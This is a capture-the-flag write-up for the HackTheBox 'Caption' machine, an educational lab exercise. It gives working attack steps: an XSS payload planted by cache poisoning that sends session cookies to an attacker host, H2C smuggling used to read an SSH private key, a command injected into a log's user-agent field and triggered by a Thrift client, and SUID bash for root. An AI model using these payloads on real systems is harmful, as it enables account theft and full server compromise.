HackTheBox Caption Writeup
Dive into the depths of cybersecurity with the Caption The Flag (CTF) challenge, a hard-level test of skill designed for seasoned professionals. This intense CTF writeup guides you through advanced techniques and complex vulnerabilities, pushing your expertise to the limit.
Add Hosts
Edit the /etc/hosts
file and add the following entries:
1
10.10.11.33 caption.htb
Script to add hosts automatically
1
2
3
ip="10.10.11.33"
domain="caption.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
nmap -sCV caption.htb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 21:56 CEST
Nmap scan report for caption.htb (10.10.11.33)
Host is up (0.053s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http-proxy HAProxy http proxy 2.0.0 or later
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Did not follow redirect to http://caption.htb
8080/tcp open http Jetty
|_http-title: GitBucket
Service Info: OS: Linux; Device: load balancer; CPE: cpe:/o:linux:linux_kernel
Web Application - Port 80
The web application on port 80 presents a login page.
Web Application - Port 8080
Port 8080 runs a GitBucket instance with a “Caption-Portal” repository. A commit within this repository (http://caption.htb:8080/root/Caption-Portal/commit/0e3bafe458d0b821d28dde7d6f43721f479abe4a) revealed the password for the user “margo”.
Use these credentials, access to http://caption.htb as “margo” on port 80.
XSS Privilege Escalation via Cache Poisoning
Cache Poisoning
Initial Request to Cache:
After logging in, check if the content is cached by making the following request:
1
GET /firewalls HTTP/1.1
On the second request, you’ll see that the content is cached:
1
2
x-varnish: 1802321 400836
age: 9
Initially, you might see a MISS
header, indicating it wasn’t cached before.
XSS Injection via X-Forwarded-Host
Inject an XSS payload into the cache using the X-Forwarded-Host
header:
1
X-Forwarded-Host: "></script><script src='http://10.10.14.2:8000/xss.js'></script>
In the response, you should see something like this:
1
2
<script src="http://caption.htb/static/js/lib.js?utm_source=http://"></script>
<script src='http://10.10.14.2:8000/xss.js'></script>
This confirms the XSS injection point is working.
Host Malicious JavaScript
Host your malicious JavaScript file using Python’s built-in HTTP server:
1
python -m http.server
Clean the Web Cache
Clear the web cache to ensure fresh content is fetched:
1
curl caption.htb -X XCGFULLBAN
Retrieve Session Cookie
Obtain the session cookie by sending this POST request:
1
2
3
4
5
6
POST / HTTP/1.1
Host: caption.htb
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
username=margo&password=vFr%26cS2%230%21
Execute XSS Payload for Admin Token Exfiltration
Using the session cookie, craft the following GET request to execute the XSS payload and retrieve the .ssh/id_ecdsa
key:
1
2
3
4
GET /firewalls HTTP/1.1
Host: caption.htb
X-Forwarded-Host: "></script><script>new Image().src='http://10.10.14.2:8000/?cookie=' + encodeURIComponent(document.cookie);</script>
Cookie: session=<cookie>
H2C Smuggling To LFI
1
2
echo -en "Admin Token? ";read admin_token
h2csmuggler -x http://caption.htb -H "Cookie: session=$admin_token" "http://caption.htb/download?url=$(echo "\"http://127.0.0.1:3923/.cpr/$(echo "/home/margo/.ssh/id_ecdsa" | sed 's/\//%2F/g')\"" | jq -r '@uri')"
The URL http://127.0.0.1:3923/.cpr/
was discovered through fuzzing, and using this endpoint, you can retrieve the private key.
1
2
3
nano id_ecdsa
chmod 0600 id_ecdsa
ssh -i id_ecdsa margo@caption.htb
Port Forwarding
1
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@caption.htb
On Target
1
2
echo "127.0.0.1 \"user-agent\":\"'; /bin/bash /tmp/payload.sh #\"" > /tmp/malicious.log
echo "chmod +s /bin/bash" > /tmp/payload.sh
On Client
Thrift is needed install it with your pkgmanager or python.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mkdir -p exploit
cd exploit
echo "namespace go log_service\n\nservice LogService {\n string ReadLogFile(1: string filePath)\n}" > log_service.thrift
thrift -r --gen py log_service.thrift
cd gen-py
cat << 'EOF' > client.py
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
if __name__ == '__main__':
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
try:
log_file_path = "/tmp/malicious.log"
response = client.ReadLogFile(log_file_path)
print("Server response:", response)
except Thrift.TException as tx:
print(f"Thrift exception: {tx}")
transport.close()
EOF
python3 client.py
cd ../..
rm -rf exploit
After running the client, /bin/bash will be set SUID and you can get root shell by executing
1
2
/bin/bash -p
cat /root/root.txt